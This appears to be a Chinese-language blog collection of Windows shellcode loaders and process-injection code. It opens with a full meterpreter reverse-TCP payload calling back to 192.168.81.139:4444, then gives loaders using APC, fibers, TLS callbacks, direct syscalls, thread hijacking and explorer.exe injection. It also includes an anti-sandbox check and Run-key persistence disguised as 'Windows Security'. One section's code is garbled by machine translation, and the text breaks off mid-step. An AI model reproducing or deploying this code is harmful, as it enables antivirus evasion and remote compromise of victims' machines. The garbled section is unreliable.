Loading... # 利用异常运行ShellCode ```cpp // 1211.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <windows.h> #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //msfvenom - p windows/meterpreter/reverse_tcp lhost = 192.168.81.139 lport = 4444 - f c unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c" "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54" "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x51\x8b" "\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50" "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67" "\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff" "\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00" "\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56" "\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58" "\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5" "\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85" "\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1" "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; LPVOID Memory; int ExceptFilter() { ((void(*)())Memory)(); return EXCEPTION_CONTINUE_EXECUTION; } int main(int argc, char* argv[]) { UINT ShellCodeSize = 0; ShellCodeSize = sizeof(buf); Memory = VirtualAlloc(NULL, ShellCodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, ShellCodeSize); int* p = 0x00000000; _try { *p = 13; } _except(ExceptFilter()) { }; system("pause"); return 0; } ``` ## ThreadPoolwait ```cpp //1.Get shellcode and shellcodesize from Resource by ID UINT shellcodeSize = 0; unsigned char *shellcode = GetShellcodeFromRes(100, shellcodeSize); if (shellcode == nullptr) { return 0; } //2.Get shellcode memory LPVOID Memory = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, shellcode, shellcodeSize); //3.Execute shellcode HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL); PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)Memory, NULL, NULL); SetThreadpoolWait(threadPoolWait, event, NULL); WaitForSingleObject(event, INFINITE); ``` ## Direct ```cpp //1.Get shellcode and shellcodesize from Resource by ID UINT shellcodeSize = 0; unsigned char *shellcode = GetShellcodeFromRes(100, shellcodeSize); if (shellcode == nullptr) { return 0; } //2.Get shellcode memory LPVOID Memory = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, shellcode, shellcodeSize); //3.Execute shellcode ((void(*)())Memory)(); ``` ## Dynamic load ```cpp //1.Get shellcode and shellcodesize from Resource by ID UINT shellcodeSize = 0; unsigned char *shellcode = GetShellcodeFromRes(100, shellcodeSize); if (shellcode == nullptr) { return 0; } //2.Get shellcode memory pfnVirtualAlloc fnVirtualAlloc = (pfnVirtualAlloc)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualAlloc"); LPVOID Memory = fnVirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, shellcode, shellcodeSize); //3.Execute shellcode ((void(*)())Memory)(); //1.Get shellcode and shellcodesize from Resource by ID UINT shellcodeSize = 0; unsigned char *shellcode = GetShellcodeFromRes(100, shellcodeSize); if (shellcode == nullptr) { return 0; } //2.Get shellcode memory pfnVirtualAlloc fnVirtualAlloc = (pfnVirtualAlloc)GetKernelFunc("VirtualAlloc"); LPVOID Memory = fnVirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, shellcode, shellcodeSize); //3.Execute shellcode ((void(*)())Memory)(); ``` ## Fiber Load ```cpp //1.Get shellcode and shellcodesize from Resource by ID UINT shellcodeSize = 0; unsigned char *shellcode = GetShellcodeFromRes(100, shellcodeSize); if (shellcode == nullptr) { return 0; } //2.Get shellcode memory LPVOID Memory = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, shellcode, shellcodeSize); //3.Execute shellcode PVOID mainFiber = ConvertThreadToFiber(NULL); PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)Memory, NULL); SwitchToFiber(shellcodeFiber); DeleteFiber(shellcodeFiber); ``` ## NTtestAlert ```cpp using pNtTestAlert = NTSTATUS(NTAPI*)(); //1.Get shellcode and shellcodesize from Resource by ID UINT shellcodeSize = 0; unsigned char *shellcode = GetShellcodeFromRes(100, shellcodeSize); if (shellcode == nullptr) { return 0; } //2.Get shellcode memory LPVOID Memory = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, shellcode, shellcodeSize); //3.Execute shellcode pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert")); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)Memory; QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL); NtTestAlert(); ``` ## SYSCALL LOAD ```cpp #include"..\public.hpp" typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); ULONG64 rva2ofs(PIMAGE_NT_HEADERS nt, DWORD rva) { PIMAGE_SECTION_HEADER sh; int i; if (rva == 0) return -1; sh = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + nt->FileHeader.SizeOfOptionalHeader); for (i = nt->FileHeader.NumberOfSections - 1; i >= 0; i--) { if (sh[i].VirtualAddress <= rva && rva <= (DWORD)sh[i].VirtualAddress + sh[i].SizeOfRawData) { return sh[i].PointerToRawData + rva - sh[i].VirtualAddress; } } return -1; } LPVOID GetProcAddress2(LPBYTE hModule, LPCSTR lpProcName) { PIMAGE_DOS_HEADER dos; PIMAGE_NT_HEADERS nt; PIMAGE_DATA_DIRECTORY dir; PIMAGE_EXPORT_DIRECTORY exp; DWORD rva, ofs, cnt; PCHAR str; PDWORD adr, sym; PWORD ord; if (hModule == NULL || lpProcName == NULL) return NULL; dos = (PIMAGE_DOS_HEADER)hModule; nt = (PIMAGE_NT_HEADERS)(hModule + dos->e_lfanew); dir = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory; // no exports? exit rva = dir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; if (rva == 0) return NULL; ofs = rva2ofs(nt, rva); if (ofs == -1) return NULL; // no exported symbols? exit exp = (PIMAGE_EXPORT_DIRECTORY)(ofs + hModule); cnt = exp->NumberOfNames; if (cnt == 0) return NULL; // read the array containing address of api names ofs = rva2ofs(nt, exp->AddressOfNames); if (ofs == -1) return NULL; sym = (PDWORD)(ofs + hModule); // read the array containing address of api ofs = rva2ofs(nt, exp->AddressOfFunctions); if (ofs == -1) return NULL; adr = (PDWORD)(ofs + hModule); // read the array containing list of ordinals ofs = rva2ofs(nt, exp->AddressOfNameOrdinals); if (ofs == -1) return NULL; ord = (PWORD)(ofs + hModule); // scan symbol array for api string do { str = (PCHAR)(rva2ofs(nt, sym[cnt - 1]) + hModule); // found it? if (strcmp(str, lpProcName) == 0) { // return the address return (LPVOID)(rva2ofs(nt, adr[ord[cnt - 1]]) + hModule); } } while (--cnt); return NULL; } #define NTDLL_PATH "%SystemRoot%\\system32\\NTDLL.dll" LPVOID GetSyscallStub(LPCSTR lpSyscallName) { HANDLE file = NULL, map = NULL; LPBYTE mem = NULL; LPVOID cs = NULL; PIMAGE_DOS_HEADER dos; PIMAGE_NT_HEADERS nt; PIMAGE_DATA_DIRECTORY dir; PIMAGE_RUNTIME_FUNCTION_ENTRY rf; ULONG64 ofs, start = 0, end = 0, addr; SIZE_T len; DWORD i, rva; CHAR path[MAX_PATH]; ExpandEnvironmentStringsA(NTDLL_PATH, path, MAX_PATH); // open file file = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (file == INVALID_HANDLE_VALUE) { goto cleanup; } // create mapping map = CreateFileMapping(file, NULL, PAGE_READONLY, 0, 0, NULL); if (map == NULL) { goto cleanup; } // create view mem = (LPBYTE)MapViewOfFile(map, FILE_MAP_READ, 0, 0, 0); if (mem == NULL) { goto cleanup; } // try resolve address of system call addr = (ULONG64)GetProcAddress2(mem, lpSyscallName); if (addr == 0) { goto cleanup; } dos = (PIMAGE_DOS_HEADER)mem; nt = (PIMAGE_NT_HEADERS)((PBYTE)mem + dos->e_lfanew); dir = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory; // no exception directory? exit rva = dir[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress; if (rva == 0) { goto cleanup; } ofs = rva2ofs(nt, rva); if (ofs == -1) { goto cleanup; } rf = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(ofs + mem); // for each runtime function (there might be a better way??) for (i = 0; rf[i].BeginAddress != 0; i++) { // is it our system call? start = rva2ofs(nt, rf[i].BeginAddress) + (ULONG64)mem; if (start == addr) { // save the end and calculate length end = rva2ofs(nt, rf[i].EndAddress) + (ULONG64)mem; len = (SIZE_T)(end - start); // allocate RWX memory cs = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (cs != NULL) { // copy system call code stub to memory CopyMemory(cs, (const void*)start, len); } break; } } cleanup: if (mem != NULL) UnmapViewOfFile(mem); if (map != NULL) CloseHandle(map); if (file != NULL) CloseHandle(file); // return pointer to code stub or NULL return cs; } int APIENTRY wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nCmdShow) { //0.Get functions pNtAllocateVirtualMemory fnNtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetSyscallStub("NtAllocateVirtualMemory"); //1.Get shellcode and shellcodesize from Resource by ID UINT shellcodeSize = 0; unsigned char *shellcode = GetShellcodeFromRes(100, shellcodeSize); if (shellcode == nullptr) { return 0; } //2.Get shellcode memory LPVOID Memory = NULL; SIZE_T uSize = shellcodeSize; HANDLE hProcess = GetCurrentProcess(); NTSTATUS status = fnNtAllocateVirtualMemory(hProcess, &Memory, 0, &uSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (status != 0) { return 0; } memcpy(Memory, shellcode, shellcodeSize); //3.Execute shellcode ((void(*)())Memory)(); return 0; } ``` ## TLS .h ```cpp #include<windows.h> #include<TlHelp32.h> //shellcode memory to execute LPVOID Memory; /********************************************************************** * @Function: GetShellcodeFromRes(int resourceID, UINT &shellcodeSize) * @Description: Get shellcode from local resource * @Parameter: resourceID, the rc_data resource ID * @Parameter: shellcodeSize,the size of shellcode * @Return: null **********************************************************************/ void GetShellcodeFromRes(int resourceID, UINT &shellcodeSize); /********************************************************************** * @Function: StreamCrypt(unsigned char* Data, unsigned long Length, unsigned char* Key, unsigned long KeyLength) * @Description: RC4 crypt * @Parameter: Data,the pointer to data will be encrypted or decrypted * @Parameter: Length,the size of data * @Parameter: Key,the pointer to key used to encrypt or decrypt * @Parameter: KeyLength,the size of data * @Return: null **********************************************************************/ void StreamCrypt(unsigned char* Data, unsigned long Length, unsigned char* Key, unsigned long KeyLength) { int i = 0, j = 0; unsigned char k[256] = { 0 }, s[256] = { 0 }; unsigned char tmp = 0; for (i = 0; i < 256; i++) { s[i] = i; k[i] = Key[i%KeyLength]; } for (i = 0; i < 256; i++) { j = (j + s[i] + k[i]) % 256; tmp = s[i]; s[i] = s[j]; s[j] = tmp; } int t = 0; i = 0, j = 0, tmp = 0; unsigned long l = 0; for (l = 0; l < Length; l++) { i = (i + 1) % 256; j = (j + s[i]) % 256; tmp = s[i]; s[i] = s[j]; s[j] = tmp; t = (s[i] + s[j]) % 256; Data[l] ^= s[t]; } } /********************************************************************** * @Struct: CONFIG * @Description: config information * @Member: antisandbox,do you want anti sandbox from options * @Member: autostart,do you want autostart from options * @Member: Key[128], 128 bit randomly generated key **********************************************************************/ struct CONFIG { BOOL antisandbox; BOOL autostart; unsigned char key[128]; }; /********************************************************************** * @Function: AntiSimulation() * @Description: anti av's sandbox by check processnum.you can change this function to use other ways. * @Parameter: null * @Return: null **********************************************************************/ void AntiSimulation() { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hSnapshot) { return; } PROCESSENTRY32 pe = { sizeof(pe) }; int procnum = 0; for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe)) { procnum++; } if (procnum <= 40) //判断当前进程是否低于40个,目前见过能模拟最多进程的是WD能模拟39个 { exit(1); } } /********************************************************************** * @Function: AutoStart() * @Description: autostart by reg.you can change this function to use other ways. * @Parameter: null * @Return: null **********************************************************************/ void AutoStart() { HKEY hKey; char currentpath[256] = { 0 }; GetModuleFileNameA(NULL, currentpath, 256); if (!RegCreateKeyA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hKey)) { RegSetValueExA(hKey, "Windows Security", 0, REG_SZ, (PUCHAR)currentpath, strlen(currentpath)); RegCloseKey(hKey); } } /********************************************************************** * @Function: init(BOOL anti_sandbox, BOOL autostart) * @Description: initialization before working * @Parameter: anti_sandbox,do you want anti sandbox * @Parameter: autostart,do you want autostart * @Return: null **********************************************************************/ void init(BOOL anti_sandbox, BOOL autostart) { if (anti_sandbox) //反仿真 { AntiSimulation(); } if (autostart) //注册表添加自启动 { AutoStart(); } } void GetShellcodeFromRes(int resourceID, UINT &shellcodeSize) { //1.Get resource's pointer HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(resourceID), RT_RCDATA); if (hRsrc == NULL) return; DWORD totalSize = SizeofResource(NULL, hRsrc); if (totalSize == 0) return; HGLOBAL hGlobal = LoadResource(NULL, hRsrc); if (hGlobal == NULL) return; LPVOID pBuffer = LockResource(hGlobal); if (pBuffer == NULL) return; CONFIG config = { 0 }; memcpy(&config, pBuffer, sizeof(CONFIG)); //2.Initialization memcpy(&config, pBuffer, sizeof(CONFIG)); init(config.antisandbox, config.autostart); //3.Getshellcode //TLS回调函数中不能使用new分配内存,否则会出现访问错误,所以直接分配可执行内存 Memory = VirtualAlloc(NULL, totalSize - sizeof(CONFIG), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, (char *)pBuffer + sizeof(CONFIG), totalSize - sizeof(CONFIG)); StreamCrypt((unsigned char*)Memory, totalSize - sizeof(CONFIG), config.key, 128); } ``` .cpp ```cpp #include"public.hpp" VOID NTAPI TlsCallBack(PVOID DllHandle, DWORD dwReason, PVOID Reserved) { if (dwReason == DLL_PROCESS_ATTACH) { //1.Get shellcode and shellcodesize from Resource by ID UINT shellcodeSize = 0; GetShellcodeFromRes(100, shellcodeSize); //2.Execute shellcode ((void(*)())Memory)(); } } #pragma comment (linker, "/INCLUDE:__tls_used") #pragma comment (linker, "/INCLUDE:__tls_callback") #pragma data_seg (".CRT$XLB") EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallBack; #pragma data_seg () int APIENTRY wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nCmdShow) { return 0; } ``` ## APC Inject ```cpp #include"..\public.hpp" #include<vector> int APIENTRY wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nCmdShow) { //1.Get shellcode and shellcodesize from Resource by ID UINT shellcodeSize = 0; unsigned char *shellcode = GetShellcodeFromRes(100, shellcodeSize); if (shellcode == nullptr) { return 0; } //2.Get shellcode memory HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) }; if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) { Process32Next(snapshot, &processEntry); } } HANDLE victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID); LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //3.Execute shellcode PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, shellcode, shellcodeSize, NULL); THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) }; std::vector<DWORD> threadIds; if (Thread32First(snapshot, &threadEntry)) { do { if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) { threadIds.push_back(threadEntry.th32ThreadID); } } while (Thread32Next(snapshot, &threadEntry)); } for (DWORD threadId : threadIds) { HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); Sleep(1000 * 2); } return 0; } ``` ## APC 2 ```cpp #include"..\public.hpp" int APIENTRY wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nCmdShow) { //1.Get shellcode and shellcodesize from Resource by ID UINT shellcodeSize = 0; unsigned char *shellcode = GetShellcodeFromRes(100, shellcodeSize); if (shellcode == nullptr) { return 0; } //2.Get shellcode memory STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); HANDLE victimProcess = pi.hProcess; HANDLE threadHandle = pi.hThread; LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //3.Execute shellcode PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, shellcode, shellcodeSize, NULL); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); ResumeThread(threadHandle); return 0; } ``` ## NTCreateSection-Inject ```cpp #include"..\public.hpp" int APIENTRY wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nCmdShow) { //1.Get shellcode and shellcodesize from Resource by ID UINT shellcodeSize = 0; unsigned char *shellcode = GetShellcodeFromRes(100, shellcodeSize); if (shellcode == nullptr) { return 0; } //2.Get shellcode memory STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); HANDLE victimProcess = pi.hProcess; HANDLE threadHandle = pi.hThread; LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //3.Execute shellcode PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, shellcode, shellcodeSize, NULL); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); ResumeThread(threadHandle); return 0; } ``` ## OEP Inject ```cpp #include"..\public.hpp" #include <winternl.h> #pragma comment(lib, "ntdll") int APIENTRY wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nCmdShow) { //1.Get shellcode and shellcodesize from Resource by ID UINT shellcodeSize = 0; unsigned char *shellcode = GetShellcodeFromRes(100, shellcodeSize); if (shellcode == nullptr) { return 0; } //2.Execute shellcode STARTUPINFOA si; si = {}; PROCESS_INFORMATION pi = {}; PROCESS_BASIC_INFORMATION pbi = {}; #ifdef _M_X64 DWORD returnLength = 0; CreateProcessA(0, (LPSTR)"c:\\windows\\notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi); // get target image PEB address and pointer to image base NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength); LONGLONG imageBaseOffset = (LONGLONG)pbi.PebBaseAddress + 16; // get target process image base address LPVOID imageBase = 0; ReadProcessMemory(pi.hProcess, (LPCVOID)imageBaseOffset, &imageBase, 8, NULL); // read target process image headers BYTE headersBuffer[4096] = {}; ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL); // get AddressOfEntryPoint PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew); LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (LONGLONG)imageBase); #else DWORD returnLength = 0; CreateProcessA(0, (LPSTR)"c:\\windows\\system32\\notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi); // get target image PEB address and pointer to image base NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength); DWORD imageBaseOffset = (DWORD)pbi.PebBaseAddress + 8; // get target process image base address LPVOID imageBase = 0; ReadProcessMemory(pi.hProcess, (LPCVOID)imageBaseOffset, &imageBase, 4, NULL); // read target process image headers BYTE headersBuffer[4096] = {}; ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, headersBuffer, 4096, NULL); // get AddressOfEntryPoint PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew); LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD)imageBase); #endif // x64 // write shellcode to image entry point and execute it WriteProcessMemory(pi.hProcess, codeEntry, shellcode, shellcodeSize, NULL); ResumeThread(pi.hThread); return 0; } ``` ## Thread-inject ```cpp #include"..\public.hpp" #include<winternl.h> int APIENTRY wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nCmdShow) { //1.Get shellcode and shellcodesize from Resource by ID UINT shellcodeSize = 0; unsigned char *shellcode = GetShellcodeFromRes(100, shellcodeSize); if (shellcode == nullptr) { return 0; } //2.Execute shellcode HANDLE targetProcessHandle; PVOID remoteBuffer; HANDLE threadHijacked = NULL; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0); THREADENTRY32 threadEntry; CONTEXT context; PROCESSENTRY32 processEntry = { 0 }; processEntry.dwSize = sizeof(PROCESSENTRY32); if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processEntry.szExeFile, L"notepad.exe") != 0) { Process32Next(snapshot, &processEntry); } } DWORD targetPID = processEntry.th32ProcessID; context.ContextFlags = CONTEXT_FULL; threadEntry.dwSize = sizeof(THREADENTRY32); targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID); remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, shellcodeSize, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, shellcodeSize, NULL); Thread32First(snapshot, &threadEntry); while (Thread32Next(snapshot, &threadEntry)) { if (threadEntry.th32OwnerProcessID == targetPID) { threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID); break; } } SuspendThread(threadHijacked); GetThreadContext(threadHijacked, &context); #ifdef _M_X64 context.Rip = (DWORD_PTR)remoteBuffer; #else context.Eip = (DWORD_PTR)remoteBuffer; #endif // x64 SetThreadContext(threadHijacked, &context); ResumeThread(threadHijacked); return 0; } ``` ## 创建映像执行 ```cpp 使用NtCreateSection创建一个新的截面对象并分配给 S。 使用NtMapViewOfSection为攻击过程映射 S 的视图并分配给 B1。 使用NtMapViewOfSection为目标进程映射 S 的视图并分配给 B2。 将有效负载复制到 B1。 取消映射 B1。 关闭 S 返回指向 B2 的指针。 LPVOID CopyPayload3 ( HANDLE hp , LPVOID payload , ULONG payloadSize ) { HANDLE s ; LPVOID ba1 = NULL , ba2 = NULL ; 超长 vs = 0 ; LARGE_INTEGER里; 李。高部分= 0 ; 李。LowPart =有效载荷大小; // 1. 创建一个新节 NtCreateSection ( & s , SECTION_ALL_ACCESS , NULL , & li , PAGE_EXECUTE_READWRITE , SEC_COMMIT , NULL ) ; // 2. 当前进程 NtMapViewOfSection ( s , GetCurrentProcess ( ) , & ba1 , 0 , 0 , 0 , & vs , ViewShare , 0 , PAGE_EXECUTE_READWRITE )的部分地图视图; // 3. 目标进程 NtMapViewOfSection ( s , hp , & ba2 , 0 , 0 , 0 , & vs , ViewShare , 0 , PAGE_EXECUTE_READWRITE )的部分映射视图; // 4. 将有效负载复制到内存 memcpy部分( ba1 ,有效负载,有效负载大小); // 5. unmap当前进程中的内存 ZwUnmapViewOfSection ( GetCurrentProcess ( ) , ba1 ) ; // 6. 关闭部分 ZwClose ( s ) ; // 7. 返回指向目标进程空间中有效负载的指针 return ( PBYTE ) ba2 ; } ``` ## 注入1 ```cpp LPVOID ewm(LPVOID payload, DWORD payloadSize){ LPVOID cs, ds; CTray ct; ULONG_PTR ctp; HWND hw; HANDLE hp; DWORD pid; SIZE_T wr; // 1. Obtain a handle for the shell tray window hw = FindWindow("Shell_TrayWnd", NULL); // 2. Obtain a process id for explorer.exe GetWindowThreadProcessId(hw, &pid); // 3. Open explorer.exe hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 4. Obtain pointer to the current CTray object ctp = GetWindowLongPtr(hw, 0); // 5. Read address of the current CTray object ReadProcessMemory(hp, (LPVOID)ctp, (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr); // 6. Read three addresses from the virtual table ReadProcessMemory(hp, (LPVOID)ct.vTable, (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr); // 7. Allocate RWX memory for code cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 8. Copy the code to target process WriteProcessMemory(hp, cs, payload, payloadSize, &wr); // 9. Allocate RW memory for the new CTray object ds = VirtualAllocEx(hp, NULL, sizeof(ct), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 10. Write the new CTray object to remote memory ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR); ct.WndProc = (ULONG_PTR)cs; WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); // 11. Set the new pointer to CTray object SetWindowLongPtr(hw, 0, (ULONG_PTR)ds); // 12. Trigger the payload via a windows message PostMessage(hw, WM_CLOSE, 0, 0); // 13. Restore the original CTray object SetWindowLongPtr(hw, 0, ctp); // 14. Release memory and close handles VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE); CloseHandle(hp); } ``` ## 注入2 1. 执行notepad.exe,获取编辑控件的窗口句柄。 2. 使用 EM_GETHANDLE 消息获取编辑控制句柄。 3. 生成等于或大于 shellcode 大小的文本并将其复制到剪贴板。 4. 将 NULL 指针分配给lastbuf 5. 从 EM 句柄中读取输入缓冲区的地址并分配给embuf。 6. 如果lastbuf和embuf相等。转到第 9 步。 7. 使用 WM_SETSEL 和 WM_CLEAR 清除内存缓冲区。 8. 将 WM_PASTE 消息发送到编辑控件窗口句柄。等待 1 